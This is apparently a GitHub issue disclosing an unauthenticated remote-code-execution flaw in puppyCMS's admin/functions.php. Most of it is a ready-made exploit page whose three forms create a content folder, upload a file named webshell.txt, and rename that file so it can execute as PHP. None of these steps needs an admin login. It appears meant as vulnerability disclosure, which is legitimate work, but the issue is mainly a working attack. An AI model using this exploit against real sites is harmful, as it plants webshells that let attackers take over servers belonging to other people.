New issue

Jump to bottom

There is a RCE vulnerability that can upload a webshell without admin login. #14

Open **Abstin** opened this issue on Mar 27, 2019 · 0 comments

Abstin commented on Mar 27, 2019

The vuln file is '/puppyCMS/admin/functions.php'.
No need to login to admin, open the following one page.
exp.html--getshell

```
<html>
<head>
<title>File Upload Form</title>
</head>
<body>
<script>var page = "http://127.0.0.1/puppyCMS/admin/functions.php";</script>

This form allows you to mkdir /content/ directory.<br>
(By default there is no /content/ directory, you should first mkdir the /content/ directory.)<br>
<form id="test1" action="" method="post"><br>
<input type='hidden' name="addFolder" value="" />
<input type='hidden' name="path" value="" />
<input type="submit" value="Submit">
</form>
<br/>
<br/>
<br/>

This form allows you to upload a webshell.txt to the server.<br>
(Filename must be webshell.txt)<br>
<form id="test2" action="" method="post" enctype="multipart/form-data"><br>
Filename:
<input type="file" name="uploadFile">
<input type='hidden' name="asset-upload" value="1" />
<input type='hidden' name="path" value="" />
<input type="submit" value="Upload File">
</form>
<br/>
<br/>
<br/>

This form allows you to rename /content/webshell.txt to /content/webshell.php<br>
<form id="test3" action="" method="post"><br>
<input type='hidden' name="renameFolder" value="webshell.php.txt" />
<input type='hidden' name="oldFolder" value="webshell.txt" />
<input type='hidden' name="path" value="" />
<input type="submit" value="Submit">
</form>

<script>
document.getElementById("test1").action = page;
document.getElementById("test2").action = page;
document.getElementById("test3").action = page;
</script>
</body>
</html>
```

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant